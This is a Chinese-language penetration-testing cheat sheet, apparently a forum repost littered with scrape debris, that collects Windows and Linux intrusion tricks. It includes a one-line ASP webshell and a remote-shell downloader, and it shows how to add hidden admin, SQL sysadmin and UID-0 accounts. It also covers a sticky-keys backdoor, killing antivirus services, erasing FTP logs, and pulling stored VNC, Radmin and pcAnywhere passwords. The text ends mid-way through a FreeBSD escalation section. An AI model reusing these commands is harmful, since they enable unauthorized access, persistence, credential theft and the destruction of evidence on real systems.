渗透技巧总结

admin

旁站路径问题
! R0 Y; o; K2 m: ^# B1、读网站配置。
2、用以下VBS
On Error Resume Next
! V. W/ ?4 y" C1 k* ~( aIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
* [' \, O* y* M/ e4 i# w  u        
9 ^% S0 v) y/ {
& r: U% i, V5 V5 Y  u" kMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
" R# z; K1 H- g! W
6 F% b, C& U. B0 M7 }8 g7 [8 ?1 dUsage:Cscript vWeb.vbs",4096,"Lilo"
/ {, o  Z2 o4 R; l$ T9 Q, z        WScript.Quit
End If
  j  ]  X; b6 A" ~4 e/ J# a, {Set ObjService=GetObject

. U" G# N6 Z4 k- M("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

8 I) r5 S9 W. B, {$ ^: qThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
6 R- a  u3 `- k9 m                If Err
: g; W) x3 `- Q) S
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
( p( Y1 |+ v6 F5 l6 N                For Each Binds In OService.ServerBindings
     

4 J6 d$ q0 H7 r& q$ c+ a0 e" n                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
% O3 n9 x2 {8 f; R( l4 x                        

8 e& ?( a- d1 ]; CWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
% ^' J% R: ^7 A7 H2 M! a+ S% _: N      

4 v2 L1 |! S, @5 l& g* [7 U         WScript.Echo "ath            : " & VDirObj.Path
- h& y8 M7 `! u$ R; x' M+ t8 G        End If
Next
8 ?; N- ]8 H! V+ R' z6 w  [- r! [复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
9 B3 L7 G: x: E' U  l. w0 l—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
7 K& l5 ~: m+ }url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
$ x- T7 E; B! G2 P- S1 nphpMyAdmin/darkblue_orange/layout.inc.php
  P( C# j! t, v3 r: |! y( K; [phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
$ p  G- C! G1 q9 \/ Q————————————————————
1 z4 P" v* ?1 `- H$ w+ P: a网站可能目录(注：一般是虚拟主机类）
" J4 z8 x5 G3 O$ ?) ndata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
' T1 T3 p' y. O$ |  b+ Hnetsh ras show user #查看哪些用户可以拨入VPN
6 [; h4 O% \5 Snetsh ras ip show config #查看VPN分配IP的方式
, v" `5 z- v. E. r' F- W* P$ @netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
5 c1 P0 W. r, z$ ]% |4 Onetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
4 W3 V; j% p8 F————————————————————
$ J" X+ C3 Q' x命令行下添加SQL用户的方法
+ H$ u5 R* ^! y+ p) b  I" W需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
% c* _+ Z  F# R7 N. Bexec master.dbo.sp_addlogin test,123
& z, \5 {" a( B" f. WEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

/ F) c$ R# I: [1 J) F/ _另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
4 |1 N0 j& N& S/ b" Tjs:
- I/ c# E2 q6 I9 e, Svar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
. r6 {, p3 `& P" z( Fz.setting("AccountType")=3;

5 }! U5 t) v4 k; y. D0 ]# j% qvbs:
Set   o=CreateObject( "Shell.Users" )
7 X4 C+ I2 Q; b- nSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
. `2 C. b; h; ?& p2 S" r——————————————————
+ c- L; E2 t" n( p# |4 Tcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
3 l* {# A) `/ Z
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
0 \# ]9 S0 O& q  r% Z————————以下配合PR更好————
3389相关
2 J3 a  r, t) R" }2 ?( Ua、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
' a" K1 P/ t* G7 ?0 c. }c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
( h; D$ Q$ m" f/ O1 k8 I. ~* d2003 运行mstsc /console   

. [* u5 O# F& m1 Y# H( Q杀软关闭（把杀软所在的文件的所有权限去掉）
' M7 p. d9 R) N处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
  q6 S, x7 k+ P( ?* l8 |) u* Unet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
) ?$ u$ p, p' Q9 C# m
' d4 N# U- I. I; ^- |( G卖咖啡：net stop "McAfee McShield"
————————————————————
# Z  Z1 ~) |, a6 [) ^8 O7 z# @
2 Z2 T; b$ t1 {# G5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
! \5 `1 G7 u- v5 D: Kcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
4 R9 l- g; A# G4 h——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
( B8 z2 W$ T% ~$ }+ b; H. A# `3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
* u6 I* S' }; x! [4、利用Hacker Defender把相关用户注册表隐藏
6 M% M& _) D" j5 d$ f: G+ w——————————————————————
MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
$ y6 f0 u8 M7 F% PGRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
+ i% U* n4 Q3 s1 ?& h: d当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
8 C/ A' a4 p5 p$ _% W- ~" }2 \* tMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
3 N( L9 l* V4 r  d7 [) iMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
4 [. P2 U/ I3 O- {- U
Server\90\Tools\Shell\mru.dat
1 ?9 a2 S/ r3 g8 Z0 m. x+ G+ T3 g—————————————————————————
6 R+ G1 A& L6 }防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

. F+ |  o4 w+ B' K! j  K<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
5 G+ z1 v4 c- _2 o/ Y7 S5 zDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
. U1 Y- w/ v5 c1 U  `* GWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
8 _4 n! U) }* s- K! KEnd With
) W) y: G0 i3 r2 Y1 Q* r) e3 l/ jSet Retrieval = Nothing
: ?1 S$ p: O4 sSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
" X) {( \7 K: B2 e.Open
.Write GetRemoteData
; p& L5 f0 q3 O+ w& U6 x1 e.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
" ~. u$ o. K8 E: z: v- g.Close()
* t) k$ r4 o" P* O1 EEnd With
! S; [) E5 ]$ z8 v; T1 ^Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
! R$ ^) ?$ u. A%>
7 E. n  ~: ?6 V7 M9 N' R
" d& D' o# b+ I  }2 N: ^VNC提权方法:
' V# C3 J8 A/ ~( @  }, P利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
! k& E% p2 B$ n2 r6 S" i/ [注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
2 t( s+ l- V+ k2 s3 q5 pregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
2 C3 P% V- U. P9 mRadmin 默认端口是4899，
' l7 ?" r* t+ X9 R, CHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
6 ]7 p5 k; N. FHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
: B: c( b2 s+ c1 ]如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
/ `) [/ ~$ @; I& A保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
2 J/ X3 f  E5 v" }$ u——————————————————————
2 L% y/ g4 T, Z搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
1 Q" r9 O! h' hWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
& o1 I5 j3 l5 _- f8 V$ ^来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
5 J: H) n7 L5 [8 a4 {: t$ I( c% K没有删cmd组建的直接加用户。
& c- ]1 B: |1 R6 O% }7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
) N! |- L# J* P. q, n/ g$ z1 l7 d; TstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
$ ?1 Q: y$ k" a* h; P2 k4 o5 F+ KSet conn = Server.createObject("ADODB.Connection")
- ^/ m+ m* k  F9 y4 tstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
0 }$ R* J* N5 O- T) S
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
0 E2 ?  s! q8 d' @- R% B1 z0 {5 O, w
strSQLDBName & ";"
4 x5 L( {/ v, [! tconn.open strCon
dim rs,strSQL,id
# W+ c7 c2 n; C3 W1 Kset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
3 ~8 ?) Y0 L; u$ [  o" Trs.close
%>
# j3 }: f7 S4 f( c8 G8 k1 ^复制代码
% s0 S" j1 W, I4 N******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
" n5 b  m4 Y: J2 K* L! J看看密码登录策略我们可以看到使用了file ldap模式
# ~6 y5 d. L% t2 t  f
- ]3 Y/ y$ Y" s& c2.less /etc/ldap.conf
  P; z3 G7 [8 sbase ou=People,dc=unix-center,dc=net
( ?' S) A* L4 y1 Z) M2 c找到ou,dc,dc设置

! c: E& _, j% D6 l5 M- K3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. U9 a- T: B* s5 Q1 t: m6 D
5 T- B$ |- Q8 Q$ \0 Y* M3 N7 S"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
0 J7 ]' A2 G& U& j4 @' Kldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ [( L& C$ h( S: r- _' r5 B"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ Q7 `4 E6 u% d* ~8 j
6 S+ U. _( v3 m0 R  v# E实战:
! _+ V4 P5 E( R  ]) ]1.cat /etc/nsswitch
1 _5 u3 R' X/ d7 P/ H5 q看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
& A# l; u5 U+ p  q$ vbase ou=People,dc=unix-center,dc=net
, u/ h6 j2 q! S3 v, D& S, y0 c* L找到ou,dc,dc设置

3.查找管理员信息
7 P' P9 H) N4 I匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ i& i+ B- o! d) r* r7 b0 j6 E有密码形式
/ Y( d/ l2 P7 m& h/ m$ bldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) x1 W0 w& `( M8 Y9 Z+ Y8 ?
, R+ o9 O" X1 A& m* H"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: b# ^$ q+ |2 v+ E

4.查找10条用户记录
  S5 I! q7 F  X+ D4 M  V' R  ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
( W( r. [: I1 r: K8 o; y( \dn: dc=ruc,dc=edu,dc=cn
% K4 E3 V. \/ P( V! T) Qdc: ruc
2 K! j0 z) b4 @+ Q$ H  ZobjectClass: domain

) B" A$ h8 D9 k7 e1 ~dn: uid=manager,dc=ruc,dc=edu,dc=cn
4 R" h# r( M" F! `4 \uid: manager
objectClass: inetOrgPerson
+ ?) Y- E7 p# p  ?: f0 A7 mobjectClass: organizationalPerson
/ y4 Q% Z5 J7 t1 JobjectClass: person
objectClass: top
sn: manager
cn: manager
" |# R- o( H5 [3 W
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
0 Z+ n$ r* `! {3 q# Ouid: superadmin
objectClass: inetOrgPerson
8 A+ L+ W' n) k: T; uobjectClass: organizationalPerson
: i' u" [& e0 Q! y) YobjectClass: person
objectClass: top
sn: superadmin
" J) P% F  U4 d1 qcn: superadmin
0 E: l4 q# y% W* n" ^
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
( c1 W; r2 `+ U; zobjectClass: inetOrgPerson
objectClass: organizationalPerson
- X0 {4 o) _4 T( k! S0 wobjectClass: person
: n) q5 Q  t: |, X: I( j) mobjectClass: top
6 k$ j7 i: F7 y5 B# Vsn: admin
  E& ?4 O  C, bcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
8 m4 I( q6 T( N6 SobjectClass: top
4 l1 m# q0 ~8 U( E1 n/ f7 \objectClass: person
+ h" }) W3 a2 w! v: B4 m, {1 gobjectClass: organizationalPerson
objectClass: inetOrgPerson
" _0 y; f1 }. k% z. f+ M' B5 @sn: dcp_anonymous
cn: dcp_anonymous
6 T* @' R3 O  N$ y3 b
2.查看基类
8 P5 @4 z4 }1 zbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

7 l  ~6 z0 b# @1 e$ V2 e2 f) ]9 e7 }more
version: 1
dn: dc=ruc,dc=edu,dc=cn
% B, o" D+ f( G$ ?: xdc: ruc
objectClass: domain

0 [: t% }/ M3 i) \3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
8 @, \& i2 B8 V% X6 j' ^supportedExtension: 2.16.840.1.113730.3.5.8
; o6 C( B; X: ]! }0 L$ f8 Y) msupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
; v' V$ K5 s$ ~. b; ~" y- }  J3 ^supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
2 ?+ c9 Y1 i: S0 b9 |supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
3 h# H" u, i2 E/ V, f& k6 tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
7 ~6 {- J( j" PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
% ~5 ?9 R7 O" o3 V- X. g5 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
+ ?% g+ s0 T% q5 Q! VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
- v) e7 e- ]+ X% T% M0 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
3 j* L/ V7 y. L6 q4 @! }- F% ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
. Z! K3 N# b0 o3 T" Y- U0 L" EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
  v' M% w% R6 y2 g  o0 j( CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
2 C" k" _" k8 A  {5 osupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
. Z5 e7 k2 t2 h8 q% a6 WsupportedControl: 2.16.840.1.113730.3.4.9
  ]5 ]4 z, a& |% A/ q6 OsupportedControl: 2.16.840.1.113730.3.4.16
7 Y, ~, V9 k$ W5 osupportedControl: 2.16.840.1.113730.3.4.15
9 t; g! O3 v) p1 ?6 E! JsupportedControl: 2.16.840.1.113730.3.4.17
" Z0 L: ^* q$ F- Y5 C8 asupportedControl: 2.16.840.1.113730.3.4.19
. n# z+ V7 o2 E% z9 @! ]3 R3 Z, zsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
1 b" T+ t% |1 N2 Q: d( _/ g" D; xsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
. e5 P$ F; c2 C. @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
, x7 d! ]& z2 c- z2 L3 O) CsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
+ `* f5 E( t/ Y2 w) e' |9 ~# xsupportedControl: 1.3.6.1.4.1.1466.29539.12
' `8 n/ S+ A, R$ C3 M% wsupportedControl: 2.16.840.1.113730.3.4.12
6 k: `7 Q. J* h4 R- s( DsupportedControl: 2.16.840.1.113730.3.4.18
: q) T) Z/ F, |, X' R, a) @supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
1 D4 O/ b' n- p. n$ c; D( V/ i0 D) a  v) FsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
; I9 W- X: g+ VsupportedLDAPVersion: 3
( m9 Q+ @' [/ RvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
. |2 b- R1 r7 `supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 h+ G- Y5 H7 O( t2 N' j8 B$ EsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
; W" R# u( I1 x8 U) t0 B1 U0 IsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
3 p4 r/ d; C9 n7 DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
$ j$ R' Q# r" T: L% e7 GsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
/ M0 H  ~4 t9 I5 AsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
# y5 H; e1 R: z4 DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
) h4 y+ H" h" }, _: dsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
: H' W$ A- j: e: y! YsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
8 h) @! Q/ X' G; K! C9 P2 w% C+ o* P. KsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
+ V3 {9 J5 ^$ }) L. [2 xsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
) V0 ^! B; d0 }/ I: U" TsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
3 H* i, v( x, d7 r2 Y- _. X! a3 ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
) ]+ h& Z% b' s3 ^/ u3 tsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
- D1 ]: y+ X' y" h- }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
& E+ [6 [* R/ c( Y' G/ zsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
  n' R7 i! D, j# k  IsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
) c- k% p4 y1 n) ^0 T0 Q; rsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
6 T2 R; \  M/ r  T8 ~/ a" G6 JsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
+ Y" f1 ]- L1 {" }8 \+ @supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
1 L$ x$ [+ C: [$ w9 R$ MsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
$ _& Z+ \1 G6 ~) `5 ssupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
, {( Z% X" Y5 |" J% r5 Z0 ]supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
/ F4 e! E, V! {0 p1 rsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
$ R. `5 w* }) g' a, `supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
; G/ G8 \& |6 WsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
' X) W* Q: A+ u- c: `, UsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
4 U, x3 `  d$ t- a2 h& VsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
1 G1 e( j/ V$ s5 I" k# Q, y  K————————————
2. NFS渗透技巧
* f2 y+ g! [0 J) T! w, q0 c% mshowmount -e ip
6 C" y3 W* Y3 M" P列举IP
——————
, Z8 D  N% R# F9 C! D0 U3.rsync渗透技巧
- c5 O' n8 h3 M/ {1.查看rsync服务器上的列表
/ @9 g  \+ Y$ }7 Ersync 210.51.X.X::
; p: b/ W  {5 t' P5 v9 \, Vfinance
4 c/ x* k" R% E% K4 s: L2 Aimg_finance
, E7 C- @: c9 l  ~( Eauto
img_auto
. |4 h  z9 b, Yhtml_cms
img_cms
ent_cms
ent_img
# |  N- o% e+ ~* X& [2 J! |ceshi
; t  ^6 {2 k  R& Vres_img
/ u9 F1 a* G9 I; T/ d( u* zres_img_c2
chip
chip_c2
ent_icms
5 d5 i: M/ T  @$ w  {6 Lgames
gamesimg
9 ~! i. `3 p& u# i# Fmedia
& K- L; c5 D, h! k) |* Kmediaimg
7 l3 B; N) e% I' M6 l* jfashion
' B' a0 z4 U% K0 ]/ ures-fashion
res-fo
! D$ Z- I( F  g. a: E* p2 _; Qtaobao-home
7 O7 C5 C$ z. w- m7 P1 Vres-taobao-home
house
res-house
4 S, Y) v! S8 J. D  r: Z9 V1 Cres-home
res-edu
" G% e$ R: X9 e$ b5 fres-ent
res-labs
- t$ c; [1 A/ k. T# ores-news
res-phtv
res-media
, B2 a2 Z4 L* ~% h' z$ ]/ p& ahome
  c4 B8 {! d# [. |! e. f$ `& n. dedu
8 d4 d( ~& \' p7 Z: lnews
: \6 @+ S0 g  M0 ^( Zres-book
; I( F# F: ^. y
看相应的下级目录(注意一定要在目录后面添加上/)

( Y- ~3 J- z* @( x  r- B
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
- @, V& |( D; trsync 210.51.X.X::edu/

1 T- M' o' o3 p- P  a2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
$ n# @+ R9 b& U" `
; j& u( i4 z5 Q, ^9 p; h3.向上更新rsync文件(成功上传,不会覆盖)
' G* n2 E" T' {6 A. Yrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
- W2 C. L- T* c0 x2 ahttp://app.finance.xxx.com/warn/nothack.txt

' p+ Q8 }3 P3 h- Y# R" G2 ~3 ]四.squid渗透技巧
nc -vv baidu.com 80
9 a1 w; L- i# R+ \GET HTTP://www.sina.com / HTTP/1.0
5 G$ S# C1 U6 IGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

* b5 i: ~9 i! d% ^$ \六.joomla渗透小技巧
/ }8 h7 V- T+ H, m% w确定版本
# n! l+ M* n0 j3 F; M8 ^index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

8 N& S( F$ e- {2 @2 o" d" w9 ]15&catid=32:languages&Itemid=47
! J' z. `9 l" y5 O! Y- g; x, S
重新设置密码
* k8 T! k! H1 M2 C' Oindex.php?option=com_user&view=reset&layout=confirm
2 b5 t& w5 e' A( s
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
- v) j/ T& n; @- q
/ @7 _* N, [0 N  c$ Q八.freebsd本地提权
[argp@julius ~]$ uname -rsi
! p$ u% K7 t7 O% P9 o. g* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
